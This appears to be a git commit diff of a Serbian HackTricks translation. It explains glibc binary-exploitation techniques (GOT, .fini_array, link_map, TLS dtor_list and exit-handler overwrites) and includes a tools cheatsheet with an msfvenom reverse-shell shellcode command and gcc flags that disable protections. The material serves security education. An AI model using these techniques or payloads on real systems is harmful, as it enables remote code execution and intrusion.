Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2

This commit is contained in:
Translator 2024-04-07 22:24:39 +00:00
parent feb92a454c
commit fc10ec836c
8 changed files with 344 additions and 92 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 588 KiB

View file

@ -20,11 +20,11 @@ Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treb
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju sopstvene alate za hakovanje kako bi ponudili nekoliko vrednih usluga sajber bezbednosti poput pentestinga, Crvenih timova i obuke.
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju sopstvene alate za hakovanje kako bi **ponudili nekoliko vrednih usluga sajber bezbednosti** poput pentestinga, Crvenih timova i obuke.
Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
**STM Cyber** takođe podržava sajber bezbednosne projekte otvorenog koda poput HackTricks :)
**STM Cyber** takođe podržava sajber bezbednosne projekte otvorenog koda poput HackTricks-a :)
***
@ -42,9 +42,9 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
<figure><img src=".gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
**Intigriti** je **broj 1** etička hakovanje i **bug bounty platforma u Evropi.**
**Intigriti** je **broj 1 u Evropi** za etičko hakovanje i **platforma za pronalaženje propusta.**
**Savet za bug bounty**: **Prijavite se** za **Intigriti**, premium **bug bounty platformu kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
**Savet za pronalaženje propusta:** **Prijavite se** za **Intigriti**, premijum **platformu za pronalaženje propusta kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -67,26 +67,21 @@ Pristupite danas:
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bug bounty!
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na propuste!
**Uvidi u hakovanje**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Najnovije najave**\
Budite informisani o najnovijim bug bounty programima i bitnim ažuriranjima platforme
* **Uvide u hakovanje:** Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
* **Vesti u realnom vremenu o hakovanju:** Ostanite informisani o brzom svetu hakovanja kroz vesti i uvide u realnom vremenu
* **Najnovije najave:** Ostanite informisani o najnovijim nagradama za pronalaženje propusta i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Osnovni alat za testiranje penetracije
### [Pentest-Tools.com](https://pentest-tools.com/) - Osnovni alat za testiranje proboja
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
**Odmah dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - razvijamo prilagođene alate, detekciju i module za eksploataciju kako bismo im omogućili više vremena za dublje kopanje, otvaranje školjki i zabavu.
**Odmah dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - razvijamo prilagođene alate, detekciju i module za eksploataciju kako bismo im omogućili više vremena za dublje kopanje, otvaranje školjki i zabavu.
{% embed url="https://pentest-tools.com/" %}
@ -98,14 +93,11 @@ Budite informisani o najnovijim bug bounty programima i bitnim ažuriranjima pla
SerpApi nudi brze i jednostavne API-je u realnom vremenu za **pristup rezultatima pretrage na pretraživačima**. Oni skeniraju pretraživače, rukovode se proxy-jima, rešavaju captcha-e i parsiraju sve bogate strukturirane podatke za vas.
Pretplata na jedan od planova SerpApi uključuje pristup preko 50 različitih API-ja za skeniranje različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i još mnogo toga.
Za razliku od drugih pružalaca, SerpApi ne skenira samo organske rezultate. Odgovori SerpApi-a dosledno uključuju sve oglase, ugrađene slike i video zapise, grafove znanja i druge elemente i funkcije prisutne u rezultatima pretrage.
Trenutni klijenti SerpApi-a uključuju Apple, Shopify i GrubHub.
Za više informacija pogledajte njihov [blog](https://serpapi.com/blog/)**,** ili probajte primer u njihovom [**igralištu**](https://serpapi.com/playground)**.**
Pretplata na jedan od planova SerpApi uključuje pristup preko 50 različitih API-ja za skeniranje različitih pretraživača, uključujući Google, Bing, Baidu, Yahoo, Yandex i još mnogo toga.\
Za razliku od drugih pružalaca, **SerpApi ne skenira samo organske rezultate**. Odgovori SerpApi-a dosledno uključuju sve oglase, inline slike i video zapise, grafove znanja i druge elemente i funkcije prisutne u rezultatima pretrage.
Trenutni klijenti SerpApi-a uključuju **Apple, Shopify i GrubHub**.\
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili probajte primer u njihovom [**igralištu**](https://serpapi.com/playground)**.**\
Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\_up)**.**
***
@ -120,17 +112,17 @@ Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštitu** poslovanja **širom sveta** od najnovijih sajber bezbednosnih pretnji pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
WebSec je **kompanija za sveobuhvatnu bezbednost** što znači da rade sve; Pentesting, **Provere bezbednosti**, Obuke o svesti, Kampanje ribarenja, Pregled koda, Razvoj eksploatacije, Outsourcing stručnjaka za bezbednost i mnogo više.
Još jedna cool stvar u vezi sa WebSec-om je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, ne plaćate!**". Za više informacija pogledajte njihovu [**veb stranicu**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a**.
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) je profesionalna sajber bezbednosna kompanija sa sedištem u **Amsterdamu** koja pomaže **zaštiti** poslovanja **širom sveta** od najnovijih sajber bezbednosnih pretnji pružajući **ofanzivne bezbednosne usluge** sa **modernim** pristupom.
WebSec je **sve-u-jednoj bezbednosnoj kompaniji** što znači da rade sve; Pentesting, **Bezbednosne** Revizije, Obuke o Svesti, Kampanje Fišinga, Pregled Koda, Razvoj Eksploatacije, Outsourcing Bezbednosnih Stručnjaka i mnogo više.
Još jedna cool stvar o WebSec-u je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, Ne plaćate!**". Za više informacija pogledajte njihovu [**veb stranicu**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
Pored navedenog, WebSec je takođe **posvećeni podržavalac HackTricks-a.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Licenca i Odricanje od odgovornosti
Proverite ih u:
@ -145,7 +137,7 @@ Proverite ih u:
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -16,19 +16,19 @@ Drugi načini podrške HackTricks-u:
## **Osnovne informacije**
### **GOT: Globalna tabela ofseta**
### **GOT: Globalna tabela offseta**
**Globalna tabela ofseta (GOT)** je mehanizam koji se koristi u dinamički povezanim binarnim fajlovima za upravljanje **adresama spoljnih funkcija**. Pošto ove **adrese nisu poznate do vremena izvršavanja** (zbog dinamičkog povezivanja), GOT pruža način da se **dinamički ažuriraju adrese ovih spoljnih simbola** nakon što budu rešene.
**Globalna tabela offseta (GOT)** je mehanizam koji se koristi u dinamički povezanim binarnim fajlovima za upravljanje **adresama spoljnih funkcija**. Pošto ove **adrese nisu poznate do vremena izvršavanja** (zbog dinamičkog povezivanja), GOT pruža način da se **dinamički ažuriraju adrese ovih spoljnih simbola** nakon što budu rešene.
Svaki unos u GOT-u odgovara simbolu u spoljnim bibliotekama koje binarni fajl može pozvati. Kada se **funkcija prvi put pozove, njena stvarna adresa se rešava dinamičkim povezivačem i čuva u GOT-u**. Naknadni pozivi iste funkcije koriste adresu sačuvanu u GOT-u, čime se izbegava trošak ponovnog rešavanja adrese.
### **PLT: Tabela vezivanja postupka**
**Tabela vezivanja postupka (PLT)** tesno sarađuje sa GOT-om i služi kao trambolina za rukovanje pozivima spoljnih funkcija. Kada binarni fajl **pozove spoljnu funkciju prvi put, kontrola se prenosi na unos u PLT-u koji je povezan sa tom funkcijom**. Ovaj unos PLT-a je odgovoran za pozivanje dinamičkog povezivača da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, čuva se u **GOT-u**.
**Tabela vezivanja postupka (PLT)** tesno sarađuje sa GOT-om i služi kao trambolina za rukovanje pozivima spoljnih funkcija. Kada binarni fajl **pozove spoljnu funkciju prvi put, kontrola se prenosi na unos u PLT-u koji je povezan sa tom funkcijom**. Taj PLT unos je odgovoran za pozivanje dinamičkog povezivača da reši adresu funkcije ako već nije rešena. Nakon što se adresa reši, čuva se u **GOT-u**.
**Stoga,** unosi u GOT-u se direktno koriste kada se adresa spoljne funkcije ili promenljive reši. **Unosi u PLT-u se koriste za olakšavanje početne rezolucije** ovih adresa putem dinamičkog povezivača.
## Izvršenje
## Dobijanje izvršenja
### Provera GOT-a
@ -40,13 +40,13 @@ Primetite kako nakon **učitavanja** **izvršnog** fajla u GEF-u možete **videt
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Korišćenjem GEF-a možete **zapoceti** sesiju **debugovanja** i izvršiti **`got`** da biste videli tabelu GOT:
Koristeći GEF možete **zapoceti** **debugging** sesiju i izvršiti **`got`** da biste videli got tabelu:
![](<../../.gitbook/assets/image (493).png>)
### GOT2Exec
U binarnom fajlu, GOT ima **adrese funkcija ili** odeljak **PLT-a** koji će učitati adresu funkcije. Cilj ovog proizvoljnog pisanja je da se **prepiše unos u GOT-u** funkcije koja će biti izvršena kasnije **sa** **adresom** PLT-a **`system`** **funkcije** na primer.
U binarnom fajlu, GOT ima **adrese funkcija ili** odeljak **PLT** koji će učitati adresu funkcije. Cilj ovog proizvoljnog pisanja je da se **prepiše unos u GOT-u** funkcije koja će biti izvršena kasnije **sa** **adresom** PLT-a **`system`** **funkcije** na primer.
Idealno, **prepisati ćete** **GOT** neke **funkcije** koja će biti **pozvana sa parametrima koje kontrolišete** (tako da ćete moći da kontrolišete parametre poslate funkciji sistema).
@ -54,6 +54,14 @@ Ako **`system`** **nije korišćen** u skripti, funkcija sistema **neće** imati
Možete videti adrese PLT-a sa **`objdump -j .plt -d ./vuln_binary`**
## Unosi GOT-a libc-a
**GOT libc-a** je obično kompajliran sa **delimičnim RELRO-om**, čineći ga dobrim ciljem za ovo pod uslovom da je moguće saznati njegovu adresu ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Uobičajene funkcije libc-a će pozvati **druge interne funkcije** čiji bi GOT mogao biti prebrisan kako bi se dobilo izvršenje koda.
Pronađite [**više informacija o ovoj tehnici ovde**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
## **Jedan Gadget**
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}

View file

@ -17,11 +17,11 @@ Drugi načini podrške HackTricks-u:
## .dtors
{% hint style="danger" %}
Danas je vrlo **čudno naći binarni fajl sa .dtors sekcijom!**
Danas je veoma **čudno naći binarni fajl sa .dtors sekcijom!**
{% endhint %}
Destruktori su funkcije koje se **izvršavaju pre završetka programa** (nakon što se `main` funkcija završi).\
Adrese ovih funkcija se čuvaju unutar **`.dtors`** sekcije binarnog fajla i stoga, ako uspete da **upišete** adresu **shell koda** u **`__DTOR_END__`**, to će biti **izvršeno** pre nego što program završi.
Destruktori su funkcije koje se **izvršavaju pre završetka programa** (nakon što se funkcija `main` završi).\
Adrese ovih funkcija se čuvaju unutar **`.dtors`** sekcije binarnog fajla i stoga, ako uspete da **upišete** adresu **shell koda** u **`__DTOR_END__`**, taj će se **izvršiti** pre nego što program završi.
Dobijte adresu ove sekcije sa:
```bash
@ -31,7 +31,7 @@ rabin -s /exec | grep “__DTOR”
Obično ćete pronaći **DTOR** markere **između** vrednosti `ffffffff` i `00000000`. Dakle, ako vidite samo te vrednosti, to znači da **nema registrovane funkcije**. Zato **prepišite** **`00000000`** sa **adresom** **shell koda** kako biste ga izvršili.
{% hint style="warning" %}
Naravno, prvo morate pronaći **mesto za čuvanje shell koda** kako biste ga kasnije pozvali.
Naravno, prvo morate pronaći **mesto za čuvanje shell koda** kako biste ga kasnije mogli pozvati.
{% endhint %}
## **.fini\_array**
@ -47,32 +47,242 @@ Contents of section .fini_array:
#Put your address in 0x8049934
```
Napomena da kada se izvrši funkcija iz **`.fini_array`**, prelazi se na sledeću, tako da neće biti izvršena više puta (sprječavajući večne petlje), ali će vam dati samo 1 **izvršenje funkcije** postavljene ovde.
Napomena da kada se izvrši funkcija iz **`.fini_array`** prelazi se na sledeću, tako da neće biti izvršena više puta (sprječavajući večne petlje), ali će vam dati samo 1 **izvršenje funkcije** postavljene ovde.
Napomena da se unosi u `.fini_array` nazivaju u **obrnutom** redosledu, pa verovatno želite da počnete pisati od poslednjeg.
Napomena da se unosi u `.fini_array` nazivaju u **obrnutom** redosledu, pa verovatno želite da počnete sa pisanjem od poslednjeg.
#### Večna petlja
Da biste zloupotrebili **`.fini_array`** kako biste dobili večnu petlju, možete [**proveriti šta je urađeno ovde**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Ako imate najmanje 2 unosa u **`.fini_array`**, možete:
* Koristite svoj prvi zapis da **ponovo pozovete ranjivu funkciju za proizvoljni zapis**
* Koristite svoj prvi zapis da **ponovo pozovete ranjivu funkciju za proizvoljno pisanje**
* Zatim, izračunajte povratnu adresu na steku koju čuva **`__libc_csu_fini`** (funkcija koja poziva sve funkcije `.fini_array`) i stavite tamo **adresu `__libc_csu_fini`**
* Ovo će naterati **`__libc_csu_fini`** da pozove sam sebe ponovo izvršavajući funkcije **`.fini_array`** ponovo koje će pozvati ranjivu WWW funkciju 2 puta: jednom za **proizvoljni zapis** i još jednom da ponovo prepiše **povratnu adresu `__libc_csu_fini`** na steku da bi se ponovo pozvao.
* To će naterati **`__libc_csu_fini`** da pozove sam sebe ponovo izvršavajući ponovo funkcije **`.fini_array`** koje će pozvati ranjivu WWW funkciju 2 puta: jednom za **proizvoljno pisanje** i još jednom da ponovo prepiše **povratnu adresu `__libc_csu_fini`** na steku da bi se ponovo pozvao.
{% hint style="danger" %}
Napomena da sa [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** odeljak **`.fini_array`** je postavljen kao **samo za čitanje**.
{% endhint %}
## link\_map
Kao što je objašnjeno [**u ovom postu**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), ako program završi korišćenjem `return` ili `exit()`, pokrenuće se `__run_exit_handlers()` koji će pozvati registrovane destruktore.
{% hint style="danger" %}
Ako program izađe putem funkcije **`_exit()`**, pozvaće se **`exit` syscall** i hendleri za izlaz neće biti izvršeni. Dakle, da biste potvrdili da se `__run_exit_handlers()` izvršava, možete postaviti prekidnu tačku na nju.
{% endhint %}
Važan kod je ([izvor](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Primetite kako se `map -> l_addr + fini_array -> d_un.d_ptr` koristi za **izračunavanje** pozicije **niza funkcija za pozivanje**.
Postoje **nekoliko opcija**:
* Prepisati vrednost `map->l_addr` kako bi pokazivala na **lažni `fini_array`** sa instrukcijama za izvršavanje proizvoljnog koda
* Prepisati unose `l_info[DT_FINI_ARRAY]` i `l_info[DT_FINI_ARRAYSZ]` (koji su više-manje uzastopni u memoriji), kako bi pokazivali na lažnu strukturu `Elf64_Dyn` koja će ponovo naterati **`array` da pokazuje na memoriju** kojom upravlja napadač.&#x20;
* [**Ovaj opis**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) prepisuje `l_info[DT_FINI_ARRAY]` sa adresom kontrolisane memorije u `.bss` koja sadrži lažni `fini_array`. Ovaj lažni niz sadrži **prvo** [**adresu jednog alata**](../rop-return-oriented-programing/ret2lib/one-gadget.md) koja će biti izvršena, a zatim **razliku** između adrese ovog **lažnog niza** i vrednosti `map->l_addr` tako da će `*array` pokazivati na lažni niz.
* Prema glavnoj objavi ove tehnike i [**ovom opisu**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so ostavlja pokazivač na steku koji pokazuje na binarni `link_map` u ld.so. Pomoću proizvoljnog pisanja moguće je prepisati ga i naterati da pokazuje na lažni `fini_array` koji kontroliše napadač sa adresom [**jednog alata**](../rop-return-oriented-programing/ret2lib/one-gadget.md) na primer.
Nakon prethodnog koda možete pronaći još jedan interesantan odeljak sa kodom:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
U ovom slučaju bilo bi moguće prebrisati vrednost `map->l_info[DT_FINI]` koja pokazuje na lažiranu strukturu `ElfW(Dyn)`. Pronađite [**više informacija ovde**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
## Prepisivanje TLS-Storage dtor\_list-a u **`__run_exit_handlers`**
Kao što je [**objašnjeno ovde**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), ako program završi putem `return` ili `exit()`, izvršiće se **`__run_exit_handlers()`** koji će pozvati sve registrovane funkcije destruktora.
Kod iz `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
```
Kod iz **`__call_tls_dtors()`** funkcije:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Za svaku registrovanu funkciju u **`tls_dtor_list`**, demantovace pokazivac iz **`cur->func`** i pozvace je sa argumentom **`cur->obj`**.
Koriscenjem **`tls`** funkcije iz ovog [**forka GEF-a**](https://github.com/bata24/gef), moguce je videti da je **`dtor_list`** veoma **blizu** **stack canary**-ja i **PTR\_MANGLE cookie**-ja. Dakle, prelivanjem preko njega bilo bi moguce **prepisati** **cookie** i **stack canary**.\
Prelivanjem PTR\_MANGLE cookie-ja, bilo bi moguce **zaobici funkciju `PTR_DEMANLE`** postavljanjem je na 0x00, sto znaci da je **`xor`** koji se koristi za dobijanje prave adrese samo adresa koja je konfigurisana. Zatim, pisanjem na **`dtor_list`** moguce je **povezati nekoliko funkcija** sa funkcijom **adrese** i njenim **argumentom.**
Na kraju primetite da sacuvani pokazivac nece biti samo ekskluzivno xorovan sa cookie-jem vec i rotiran za 17 bitova:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Dakle, morate uzeti ovo u obzir pre dodavanja nove adrese.
Pronađite primer u [**originalnom postu**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
## Ostali izmenjeni pokazivači u **`__run_exit_handlers`**
Ova tehnika je [**objašnjena ovde**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) i ponovo zavisi od programa **koji izlazi pozivajući `return` ili `exit()`** tako da se poziva **`__run_exit_handlers()`**.
Pogledajmo više koda ove funkcije:
```c
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
```
Promenljiva `f` pokazuje na strukturu **`initial`** i u zavisnosti od vrednosti `f->flavor` biće pozvane različite funkcije.\
Adresa funkcije koja će biti pozvana biće na različitom mestu u zavisnosti od vrednosti, ali će uvek biti **demangleovana**.
Osim toga, u opcijama **`ef_on`** i **`ef_cxa`** takođe je moguće kontrolisati **argument**.
Moguće je proveriti **strukturu `initial`** u sesiji za debagovanje sa GEF pokretanjem **`gef> p initial`**.
Da biste iskoristili ovo, potrebno je ili **procureti ili izbrisati `PTR_MANGLE` kolačić** a zatim prepisati `cxa` unos u initial sa `system('/bin/sh')`.\
Primer ovoga možete pronaći u [**originalnom blog postu o tehnici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -15,7 +15,7 @@ Drugi načini podrške HackTricks-u:
</details>
## Metasploit
```
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
@ -23,13 +23,17 @@ nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellkodovi
```
{% code overflow="wrap" %}
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
{% endcode %}
## GDB
### Instalacija
```
```bash
apt-get install gdb
```
### Parametri
@ -85,6 +89,8 @@ x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
Opciono možete koristiti [**ovu granu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) koja sadrži interesantnije instrukcije.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -157,17 +163,23 @@ gef➤ bt
### Pronalaženje offseta steka
**Ghidra** je veoma koristan za pronalaženje **offseta** za **preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.**\
Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanarina, to ukazuje da je potreban offset od `0xac` da bi se prepisao iz `local_bc`.\
Na primer, u primeru ispod, preplavljivanje bafera u `local_bc` ukazuje da je potreban offset od `0xbc`. Osim toga, ako je `local_10` kolačić kanarinac, to ukazuje da postoji offset od `0xac` za prepisivanje iz `local_bc`.\
_Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP._
![](<../../../.gitbook/assets/image (1058).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Dobijanje svake opcode izvršene u programu.
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompajliranje bez zaštite\
